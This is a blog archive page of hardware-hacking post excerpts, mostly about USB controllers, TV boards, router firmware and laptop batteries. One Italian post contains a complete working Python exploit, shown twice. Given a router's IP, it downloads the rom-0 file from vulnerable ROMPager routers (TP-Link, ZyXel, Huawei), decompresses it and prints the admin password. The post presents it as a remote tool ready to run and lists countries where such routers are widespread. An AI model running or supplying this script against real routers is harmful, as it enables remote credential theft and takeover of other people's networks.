Uncategorized Archives - Page 2 of 3

Alcor UFD Controller Hacking update 2

September 3, 2015July 20, 2014 by Tiziano Bacocco

In these days between some exercises for a microeconomics exam , i’ve continued to work on reverse engineering the Alcor 698x UFD microcontroller, and i’ve got another poor quality Alcor based flash drive from a friend , so now i’ve an 8 GB one , and a 4 GB one. I’ve started , with the … Read more

Alcor UFD Controller Reverse engineering part 1 , querying info and decrypting the flash list shipped in AlcorMP tool

September 3, 2015July 12, 2014 by Tiziano Bacocco

I’ve started that work because i want to port AlcorMP utility to Linux and to be able to use custom flash chips with these UFD chips, this utility called AlcorMP allows to do a lot of stuff , from checking flash integrity to programming the usb flash drive into a CD-Rom emulator. For who is … Read more

Resurrecting QBell 39″ LCD LED TV as VGA display using an MT6820 board

September 3, 2015May 30, 2014 by Tiziano Bacocco

I’ve got that TV to be trashed, because after some hours it won’t turn on anymore, first thing i’ve checked is the power supply which was fine. The original board is labeled “T.MSD309.B21B”, and apparently it is a chinese universal LVDS LCD driver board. So i’ve checked on ebay and that board is available , … Read more

[AVANZATO] Installare OpenWRT sul router DSL2740B Revisione A1 , Utile anche per debrick

September 3, 2015May 17, 2014 by Tiziano Bacocco

Premetto subito che le informazioni qui riportate sono per chi ha già una buona esperienza. Altra premessa è il fatto che non è detto che si possa far ritornare il router al suo stato di fabbrica dopo le modifiche descritte in questo articolo, se si vuole avere un punto di ripristino, eseguire prima di flashmem … Read more

Recharging and reusing Acer laptop batteries on DIY projects with arduino

September 3, 2015March 30, 2014 by Tiziano Bacocco

It’s not unusual to end up with dead laptops whose battery is still useable for some other projects, the most usual practice, is to dismantle them to recover 18650 cells, but then you will have some prolems with integrating them on your project, the first one is avoiding stuff to catch fire or blow up … Read more

Ricaricare una batteria di Acer Aspire One e monitorarne i parametri con arduino

September 3, 2015March 29, 2014 by Tiziano Bacocco

Capita spesso di ritrovarsi delle batterie di portatili defunti, di cui non si sa cosa farne, la cosa più semplice è spaccarla e recuperarci le celle 18650, ma se poi ci si vuole realizzare qualche progetto, sorge subito il problema di come sapere quanta % di carica ha, il tempo di ricarica, e soprattutto avere … Read more

Routing da, alla rete di provenienza con Linux

September 3, 2015February 1, 2014 by Tiziano Bacocco

Molto spesso può capitare di voler fare il forwarding dalla LAN alla LAN, ovvero avere un router che accetta i pacchetti in ingresso, e li reimmette sulla stessa rete magari eseguendoci sopra il load balancing o traffic shaping, ad esempio potrei avere una lan composta da un router alice, un router fastweb ed un server … Read more

Hacking dei router che utilizzano ROMPager completamente da remoto

September 3, 2015January 16, 2014 by Tiziano Bacocco

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l’ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import <b>*</b>
import urllib2
 
###########################################################<b>###</b>
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
###########################################################<b>###</b>
 
import collections
 
<b>class</b> BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    <b>def</b> <b>__init__</b>(self, bytes):
        self._bits <b>=</b> collections.deque()
 
        <b>for</b> byte <b>in</b> bytes:
            byte <b>=</b> ord(byte)
            <b>for</b> n <b>in</b> xrange(8):
                self._bits.append(bool((byte <b>&gt;&gt;</b> (7<b>-</b>n)) <b>&amp;</b> 1))
 
    <b>def</b> getBit(self):
        <b>return</b> self._bits.popleft()
 
    <b>def</b> getBits(self, num):
        res <b>=</b> 0
        <b>for</b> i <b>in</b> xrange(num):
            res <b>+=</b> self.getBit() <b>&lt;&lt;</b> num<b>-</b>1<b>-</b>i
        <b>return</b> res
 
    <b>def</b> getByte(self):
        <b>return</b> self.getBits(8)
 
    <b>def</b> <b>__len__</b>(self):
        <b>return</b> len(self._bits)
 
<b>class</b> RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    <b>def</b> <b>__init__</b>(self, length):
        self.__data__ <b>=</b> collections.deque()
        self.__full__ <b>=</b> False
        self.__max__ <b>=</b> length
 
    <b>def</b> append(self, x):
        <b>if</b> self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        <b>if</b> self.size() <b>==</b> self.__max__:
            self.__full__ <b>=</b> True
 
    <b>def</b> get(self):
        <b>return</b> self.__data__
 
    <b>def</b> size(self):
        <b>return</b> len(self.__data__)
 
    <b>def</b> maxsize(self):
        <b>return</b> self.__max__
 
    <b>def</b> <b>__getitem__</b>(self, n):
        <b>if</b> n <b>&gt;=</b> self.size():
            <b>return</b> None
        <b>return</b> self.__data__[n]
 
<b>def</b> LZSDecompress(data, window <b>=</b> RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader <b>=</b> BitReader(data)
    result <b>=</b> ''
 
    <b>while</b> True:
        bit <b>=</b> reader.getBit()
        <b>if</b> <b>not</b> bit:
            char <b>=</b> reader.getByte()
            result <b>+=</b> chr(char)
            window.append(char)
        <b>else</b>:
            bit <b>=</b> reader.getBit()
            <b>if</b> bit:
                offset <b>=</b> reader.getBits(7)
                <b>if</b> offset <b>==</b> 0:
                    # EOF
                    <b>break</b>
            <b>else</b>:
                offset <b>=</b> reader.getBits(11)
 
            lenField <b>=</b> reader.getBits(2)
            <b>if</b> lenField <b>&lt;</b> 3:
                lenght <b>=</b> lenField <b>+</b> 2
            <b>else</b>:
                lenField <b>&lt;&lt;=</b> 2
                lenField <b>+=</b> reader.getBits(2)
                <b>if</b> lenField <b>&lt;</b> 15:
                    lenght <b>=</b> (lenField <b>&amp;</b> 0x0f) <b>+</b> 5
                <b>else</b>:
                    lenCounter <b>=</b> 0
                    lenField <b>=</b> reader.getBits(4)
                    <b>while</b> lenField <b>==</b> 15:
                        lenField <b>=</b> reader.getBits(4)
                        lenCounter <b>+=</b> 1
                    lenght <b>=</b> 15<b>*</b>lenCounter <b>+</b> 8 <b>+</b> lenField
 
            <b>for</b> i <b>in</b> xrange(lenght):
                char <b>=</b> window[<b>-</b>offset]
                result <b>+=</b> chr(char)
                window.append(char)
 
    <b>return</b> result, window


<b>class</b> Object:
  <b>def</b> <b>__init__</b>(self,blockdata,data):
    self.name <b>=</b> data[:14].strip("x00")
    self.uncompsize <b>=</b> unpack("&gt;H",data[14:16])[0]
    self.compsize <b>=</b> unpack("&gt;H",data[16:18])[0]
    self.offset <b>=</b> unpack("&gt;H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data <b>=</b> blockdata[self.offset:self.offset<b>+</b>self.compsize]
    #print [self.data]
    <b>if</b> self.name <b>==</b> "spt.dat":
      data2 <b>=</b> self.data
      self.data <b>=</b> ""
      index <b>=</b> 12
      <b>while</b> index <b>&lt;</b> self.uncompsize:
        orgsize <b>=</b> unpack("&gt;H",data2[index:index<b>+</b>2])[0]
        rawsize <b>=</b> unpack("&gt;H",data2[index<b>+</b>2:index<b>+</b>4])[0]
        #print orgsize,rawsize
        self.data <b>+=</b> LZSDecompress(data2[index<b>+</b>4:index<b>+</b>4<b>+</b>rawsize])[0]
        index <b>+=</b> rawsize
      print "Password:",self.data[20:].split("x00")[0]
<b>class</b> Block:
  <b>def</b> <b>__init__</b>(self,data):
    self.blocknumber <b>=</b> ord(data[0])
    self.unk1 <b>=</b> ord(data[1])
    self.objectcount <b>=</b> unpack("&gt;H",data[2:4])[0]
    self.blocklength <b>=</b> unpack("&gt;H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects <b>=</b> []
    <b>for</b> i <b>in</b> range(0,self.objectcount):
      self.objects.append(Object(data,data[6<b>+</b>20<b>*</b>i:]))
blocks <b>=</b> []
f <b>=</b> urllib2.urlopen("http://%s/rom-0"<b>%</b>sys.argv[1])
# = open(sys.argv[1],"rb")
d <b>=</b> f.read()
mem <b>=</b> Block(d[0x0:])
a <b>=</b> Block(d[0x2000:])

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

import os

import sys

from struct import *

import urllib2

##############################################################

# Lempel-Ziv-Stac decompression

# BitReader and RingList classes

# filosottile.wiki gmail.com - www.pytux.it

# This program is free software: you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation, either version 3 of the License, or

# (at your option) any later version.

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License

# along with this program. If not, see <http://www.gnu.org/licenses/>.

##############################################################

import collections

class BitReader:

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and permits to extract

bits one by one like a stream

"""

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7-n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num-1-i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

"""

When the list is full, for every item appended

the older is removed

"""

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def LZSDecompress(data, window = RingList(2048)):

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and an optional

pre-populated dictionary; return the decompressed

string and the final dictionary

"""

reader = BitReader(data)

result = ''

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

# EOF

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[-offset]

result += chr(char)

window.append(char)

return result, window

class Object:

def __init__(self,blockdata,data):

self.name = data[:14].strip("x00")

self.uncompsize = unpack(">H",data[14:16])[0]

self.compsize = unpack(">H",data[16:18])[0]

self.offset = unpack(">H",data[18:20])[0]

print "Object",self.name ,self.uncompsize,self.compsize,self.offset

self.data = blockdata[self.offset:self.offset+self.compsize]

#print [self.data]

if self.name == "spt.dat":

data2 = self.data

self.data = ""

index = 12

while index < self.uncompsize:

orgsize = unpack(">H",data2[index:index+2])[0]

rawsize = unpack(">H",data2[index+2:index+4])[0]

#print orgsize,rawsize

self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]

index += rawsize

print "Password:",self.data[20:].split("x00")[0]

class Block:

def __init__(self,data):

self.blocknumber = ord(data[0])

self.unk1 = ord(data[1])

self.objectcount = unpack(">H",data[2:4])[0]

self.blocklength = unpack(">H",data[4:6])[0]

print "Block:",self.blocknumber , self.objectcount , self.blocklength

self.objects = []

for i in range(0,self.objectcount):

self.objects.append(Object(data,data[6+20*i:]))

blocks = []

f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])

# = open(sys.argv[1],"rb")

d = f.read()

mem = Block(d[0x0:])

a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, … Read more

La sicurezza dell’ISP WiMax che utilizzo

September 3, 2015January 2, 2014 by Tiziano Bacocco

Scrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo. Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere … Read more

Hotspot senza cifratura e smartphone? Brutta accoppiata per la privacy

September 3, 2015November 10, 2013 by Tiziano Bacocco

Torno di nuovo a scrivere per i problemi riguardanti la privacy con gli smartphone, perché si aggiunge, oltre al noto problema della scansione attiva e quindi dell’invio di probe diretti ad access point, anche un altro problema più grave originante da Whatsapp e Facebook, in pratica con tecniche di livello veramente base è possibile conoscere … Read more